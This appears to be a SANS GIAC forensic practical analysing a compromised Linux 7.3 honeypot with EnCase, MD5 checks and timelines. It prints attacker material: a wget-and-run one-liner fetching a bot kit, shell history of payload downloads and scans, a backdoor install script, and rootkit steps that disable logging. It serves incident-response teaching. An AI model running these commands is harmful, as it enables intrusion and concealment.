| Tag # 01 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag # 02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag # 03 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag # 04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag # 05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |

Figure 10. Honeynet Diagram
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image_url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

![Hashing](image)

**Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system**

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

![After Acquisition](image)

**Figure 13. Initial search, MD5 of files and Signature analysis.**
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>File Name</th>
<th>MD5 Sum</th>
</tr>
</thead>
<tbody>
<tr>
<td>liveresponse.tar</td>
<td>994b0c3b8e91d10087fa085f9586f4de</td>
</tr>
<tr>
<td>sebek.out</td>
<td>82b86c939e8347c71e25655530566d0c7</td>
</tr>
<tr>
<td>snortfiles.tar</td>
<td>66130385e828dbb5218a492d6f1df6a1</td>
</tr>
<tr>
<td>varddimage.gz</td>
<td>d073eb91e449936a313f907cd3c9a3ac</td>
</tr>
</tbody>
</table>
Using md5sum.exe from [http://www.etree.org/md5com.html](http://www.etree.org/md5com.html), the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c939e347c71e25655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6a1 *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

### 2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJDA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all the tools used during the analysis;

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)

2. mac_rogger is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)

3. The live response kit consisted of the following Linux binaries:
   a. ‘nc’ (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. ‘date’ used to record the start time and stop time of the response.
   c. ‘w’ used to identify who is currently logged in.
   d. ‘netstat’ used to show the internet sockets that are open and to display the routing information.
   e. ‘lsof’ used to identify backdoors and network services.
   f. ‘ps’ used to show the processes in the process table.
   g. ‘ifconfig’ used to obtain the network configuration
   h. ‘ls’ used to list the /proc file system.
   i. ‘md5sum’ used to record MD5 checksums.

See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

File system

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

```plaintext
Nfsd
sshd_config
Popauth
minilogd
/tmp/.services
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

<table>
<thead>
<tr>
<th>Installing</th>
<th>chattr: No such file or directory while trying to stat /usr/local/sbin/sshd</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Shutting down kernel logger: [ OK ]</td>
</tr>
<tr>
<td></td>
<td>Shutting down system logger: [ OK ]</td>
</tr>
<tr>
<td>touch:</td>
<td>getting attributes of <code>ps</code>: No such file or directory</td>
</tr>
<tr>
<td>touch:</td>
<td>getting attributes of <code>ls</code>: No such file or directory</td>
</tr>
<tr>
<td>-ps</td>
<td>PS --&gt; failed</td>
</tr>
<tr>
<td>--top</td>
<td>TOP --&gt; OK</td>
</tr>
<tr>
<td>---pstree</td>
<td>PSTREE --&gt; failed</td>
</tr>
<tr>
<td>---killall</td>
<td>KILLALL --&gt; OK</td>
</tr>
<tr>
<td>---ls-dir-vdir</td>
<td>LS DIR VDIR ---&gt; failed</td>
</tr>
<tr>
<td>---find</td>
<td>FIND ---&gt; OK</td>
</tr>
<tr>
<td>---du</td>
<td>DU ---&gt; OK</td>
</tr>
<tr>
<td>7</td>
<td>NETSTAT ---&gt; OK</td>
</tr>
</tbody>
</table>

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-i” removes attributes from the file, “a” => immutable, “u” => append only and “u” => undeletable”). The files the command was used on are listed below:

<table>
<thead>
<tr>
<th>/etc/rc.d/init.d/sshd</th>
<th>/etc/rc.d/init.d/syslog</th>
</tr>
</thead>
<tbody>
<tr>
<td>/etc/rc.d/init.d/functions</td>
<td>/usr/local/sbin/sshd</td>
</tr>
<tr>
<td>/usr/sbin/sshd</td>
<td>/bin/ps</td>
</tr>
</tbody>
</table>

3) Stop syslog with “/etc/rc.d/init.d/syslog stop”

4) Kill the rpc portmapper

5) Remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

   2  sl 2 sl2 2  st 2  v
   2  foo 3  scan 3  ping 3  tcpd
   3  nfsd 3  lpd 3  r00t 2  x2
   3  strobe 2  sc 3  luckstatdx 2  /dev/killall
   2  hds 3  /usr/sbin/nfsd 3  mass 3  o
   3  vuln 3  weit

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

   3 18 4 18 3 6667 4 6667 3 1
   4  l

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

   .s .x logs sense tcp.log
   mps mls killer mtop mpstree
   ttyop ttyof ttyoa ttyos wipe
   clean sense nfsd hds hdsl
   v sl2 sl foo st
   r00t

9) Copy the .1logz file to /dev/ttyos. The .flogz file is a list of IP addresses, domain names and log file names shown below:

   XXX.hypermart.net XXX.XXX.0.159 syslog
   klogd net-pf-10 XXX.97.33.*

10) touch -acmr (a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

   /usr/bin/du du /usr/bin/find find /usr/bin/killall killall
   /bin/ps ps /bin/netstat netstat /usr/bin/killall ps /usr/bin/pstree pstree
   /bin/ls ls /usr/bin/top top /usr/bin/vdir vdir
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps
pстree => /usr/bin/pstree
top => /usr/bin/top
ls => /bin/ls
killall => /usr/bin/killall
du => /usr/bin/du
find => /usr/bin/find
netstat => /usr/bin/netstat
```

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:

a) `p.sshd` is copied to `/usr/sbin/nfsd`
b) `chmod +s` and `chattr +iau` done on `/usr/sbin/nfsd`
c) `sshd_config` copied to `/sbin/sshd_config`, `chattr +iau` is done on the file.
d) Host key (xxxh_h) and random key (xxh_r) are copied to `/sbin`.
e) `nfsd (sshd)` is run
f) `chattr -iau` run on `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions`.
g) The line “`/usr/sbin/nfsd -f /sbin/sshd_config`” is appended to the end of `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions` and `chattr +iau` is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean
sense => /usr/bin/sense
dos/sl2 => /usr/bin/dos/sl2
dos/foo => /usr/bin/dos/foo
dos/st => /usr/bin/dos/st
dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in `/dev/logs` “linsniffer /usr/bin/ldp”.

15) Setting up crontab “`/usr/bin/crontab cron-root`”.

16) Ports Open check using command “`/usr/sbin/lsof|grep LISTEN`”.

17) Checking for “Other RootKITs”.

18) starting syslog with “`/etc/rc.d/init.d/syslog start`”

19) Reviewing logs, cron, maillog with echo of:

```
/var/log/messages /var/log/boot.log /var/log/cron
/var/log/secure    /var/log/maillog
```

20) Using `chattr +iau` on

```
/etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions /bin/ps
/bin/netstat          /bin/ls   /usr/bin/du
/usr/bin/find         /usr/bin/pstree /usr/bin/killall
```
21) Closing message "Na hai sa ne pisam pe iei -;)"

TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were "ls, ps and vdir". Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes – (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .lfile to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .lfile to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/linsniffer</td>
<td>/tmp/.s/linsniffer</td>
<td>03:25:20PM</td>
<td>Trojan linsniffer program.</td>
</tr>
<tr>
<td>.s/ls</td>
<td>- not present</td>
<td></td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat</td>
<td>/tmp/.s/netstat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .laddr to ttyoa.</td>
</tr>
<tr>
<td>.s/ps</td>
<td>- not present</td>
<td></td>
<td>Process status command</td>
</tr>
<tr>
<td>.s/pstree</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.lfile</td>
<td>/tmp/.s/.lfile</td>
<td>03:25:20PM</td>
<td>Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.llogz</td>
<td>/tmp/.s/.llogz</td>
<td>03:25:20PM</td>
<td>Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.lproc</td>
<td>/tmp/.s/.lproc</td>
<td>03:25:20PM</td>
<td>Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall.</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
<tr>
<td>.s/nfsd/</td>
<td>/tmp/.s/nfsd</td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/sshd_config</td>
<td></td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/xxh_h</td>
<td>/tmp/.s/xxh_h</td>
<td>03:25:21PM</td>
<td>HostKey file for nfd (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to</td>
</tr>
</tbody>
</table>

EnCase output shows key as a private key belonging to...
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The initab file is the configuration file used by ‘init’. The initab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the rootkit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \*”, do not parse the /proc directory structure “/proc’ - prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```
#find / -name \* -path ‘/proc’ -prune -o -type f -exec md5sum {} \;
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

---


---
delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix ‘comm’ command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2ca7890118d41731001ed09 9962
    /etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
.
.
done

/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
    /etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
.
.
exit $?

/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421eee4 22379
    /etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16d6e5be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

```
Looking at the end of the /etc/rc.d/rc.sysinit script we find the weit command.

```
/sbin/getkey i && touch /var/run/confirm
fi
weit
```

Trojaned rc.sysinit startup script – wait changed to weit

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the `/etc/rc.d` folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under `/etc/rc.d` refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

Figure 16. Modified startup files

The back doors found on the system were:

- The `nfsd` daemon (trojaned sshd) running on process ID's 19810 and 19811
- The `weit` program run from the `rc.sysinit` script in the `/etc/rc.d` directory that spawned the `popauth` program that sets up a listener on UDP port 3049.
- The IRC server running on process ID's 19936 and 19941.

Looking at the install script in `/tmp/.s/install` we see

```
cd nfsd;./nfsdi
```

The `nfsdi` script modifies the syslog and functions scripts and installs the trojan, virus infected, `nfsd`.

```
#!/bin/sh
```

© SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.
if [-x /usr/sbin/nfsd ]; then
  chattr -iau /usr/sbin/nfsd
  rm -f /usr/sbin/nfsd
  cp -f ../p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +iau /usr/sbin/nfsd
else
  cp -f ../p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +iau /usr/sbin/nfsd
fi
if [-f /sbin/sshd_config ]; then
  chattr -iau /sbin/sshd_config
  rm -f /sbin/sshd_config
  cp -f sshd_config /sbin
  chattr +iau /sbin/sshd_config
else
  cp -f sshd_config /sbin
  chattr +iau /sbin/sshd_config
fi

root 19810 0 0.1 1832 236 ? T Jun-29 0:00 /usr/sbin/nfsd -f /sbin/sshd_config
root 19811 0 0.3 1840 444 ? S Jun-29 0:02 /usr/sbin/nfsd -f /sbin/sshd_config

The IRC bot Software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
bot.tgz;cd .X11-pipe;chmod +x inetd/services;inetd/services

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn't complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hits in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfwd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```
unset HISTFILES
cd /tmp
ls -al
rm -rf .s
rm -rf r
mc
ps ax
kill all -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font_unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
```
Table 4. HISTFILE output

The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was;

```
"dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync"
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file.  

The MD5 checksum was verified against the MD5 checksum from EnCase.  See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   ```bash
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f\n"
   ```

   The “/mnt/linux73” tells find where to start.  The “-name ".*" -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file).  The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directories of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font-unix</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font-unix/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
</tbody>
</table>

---

2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The "/mnt/linux73" tells find where to start. The "-type f -a -perm -4000" tells find to look for a regular file with the setuid bit set. The "-exec ls -aslg {} ";" command line switch tells find to print out the file details.

```
36 -rwsr-xr-x 1 root root 34296 Mar 27 2002 /mnt/linux73/usr/bin/chage
36 -rwsr-xr-x 1 root root 36100 Mar 27 2002 /mnt/linux73/usr/bin/gpasswd
40 -rwsr-xr-x 1 root root 37528 Jan 17 2002 /mnt/linux73/usr/bin/at
16 -r--x-x-x-x 1 root root 15104 Mar 13 2002 /mnt/linux73/usr/bin/passwd
12 -rwsr-x-x-x 1 root root 12072 Apr 1 2002 /mnt/linux73/usr/bin/chfn
12 -rwsr-x-x-x 1 root root 11496 Apr 1 2002 /mnt/linux73/usr/bin/chsh
8 -rwsr-x-x-x 1 root root 4764 Apr 1 2002 /mnt/linux73/usr/bin/newgrp
24 -rwsr-x-x-x 1 root root 21800 Apr 14 2002 /mnt/linux73/usr/bin/crontab
20 -rwsr-x-x-x 1 root root 19927 Apr 17 2002 /mnt/linux73/usr/bin/pgpasswd
220 -rwsr-x-x-x 1 root root 219932 Apr 4 2002 /mnt/linux73/usr/bin/sh
8 -rwsr-x-x-x 1 root root 7404 Apr 17 2002 /mnt/linux73/usr/bin/kcachepass
16 -rwsr-x-x-x 1 root root 14588 Jul 24 2001 /mnt/linux73/usr/bin/rcp
12 -r--x-x-x-x 1 root root 10940 Jul 24 2001 /mnt/linux73/usr/bin/ftp
8 -rwsr-x-x-x 1 root root 7932 Jul 24 2001 /mnt/linux73/usr/bin/rsh
88 ---s--x-x-x 1 root root 84680 Apr 18 2002 /mnt/linux73/usr/bin/sudo
32 -rwsr-x-x-x 1 root root 32673 Apr 18 2002 /mnt/linux73/usr/sbin/ping6
16 -rwsr-x-x-x 1 root root 13994 Apr 18 2002 /mnt/linux73/usr/sbin/traceroute6
| 02 | /mnt/linux73/usr/sbin/traceroute6 |
| 448 -r-sr-x-x-x 1 root root 451280 Apr 8 2002 /mnt/linux73/usr/sbin/sendmail.sendmail
| 24 -rwsr-x-x-x 1 root root 22388 Apr 15 2002 /mnt/linux73/usr/sbin/userhelper
| 20 -rwsr-x-x-x 1 root root 17461 Apr 19 2002 /mnt/linux73/usr/sbin/usernetctl
| 20 -rwsr-x-x-x 1 root root 20140 Mar 14 2002 /mnt/linux73/usr/sbin/traceroute
| 24 -r--x-x-x-x 1 root 48 22826 Apr 9 2002 /mnt/linux73/usr/sbin/xuexec
| 244 -rwsr-sr-x 1 root root 242909 Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd
| 1572 -rwsr-x-x-x 1 root root 1602576 Apr 18 2002 /mnt/linux73/usr/X11R6/bin/XFree86
| 44 -rwsr-x-x-x 1 root root 43951 Jun 30 17:36 /mnt/linux73/bin/ping
| 69 -rwsr-x-x-x 1 root root 68863 Apr 1 2002 /mnt/linux73/bin/umount
| 36 -rwsr-x-x-x 1 root root 35327 Apr 1 2002 /mnt/linux73/bin/unix_chkpwd
| 20 -rwsr-x-x-x 1 root root 19116 Apr 8 2002 /mnt/linux73/bin/su
| 119 -r--x-x-x-x 1 root root 120264 Apr 9 2002 /mnt/linux73/sbin/pwdb_chkpwd
| 18 -r--x-x-x-x 1 root root 16992 Apr 9 2002 /mnt/linux73/sbin/unix_chkpwd
```

3. Locating setgid files:

```bash
find /mnt/linux73 -type f -a -perm -2000 -exec ls -aslg {} \;
```

The "/mnt/linux73" tells find where to start. The "-type f -a -perm -2000" tells find to look for a regular file with the setgid bit set. The "-exec ls -aslg {} ";" command line switch tells find to print out the file details.

```
20 -rwxr-xr-x 1 root mail 17811 Mar 25 2002 /mnt/linux73/usr/bin/lockfile
28 -rwxr-xr-x 1 root slocate 25020 Jun 25 2001 /mnt/linux73/usr/bin/slocate
8 -r-xr-xr-x 1 root tty 6920 Mar 14 2002 /mnt/linux73/usr/bin/wall
12 -rwxr-xr-x 1 root tty 6920 Mar 14 2002 /mnt/linux73/usr/bin/wall
60 -rwxr-xr-x 1 root root 57092 Apr 17 2002 /mnt/linux73/usr/bin/kdesud
8 -rwsr-xr-x 1 root utmp 6604 Jun 24 2001 /mnt/linux73/usr/bin/xuexec
16 -rwsr-xr-x 1 root utmp 13760 Apr 15 2002 /mnt/linux73/u
191x73/sbin/unix_chkpwd
16 -rwsr-xr-x 1 root lock 13573 Feb 25 2002 /mnt/linux73/usr/sbin/lockdev
244 -rwsr-x-x-x 1 root root 242909 Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd
```
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

### 2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%C@ \t%h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:

---

```
find /mnt/linux73/root -printf "%C@ \t%h/%f\n" | sort > outputfile.txt
```
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

COMPROMISE STARTS HERE -> -------------------------------------------------

Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07
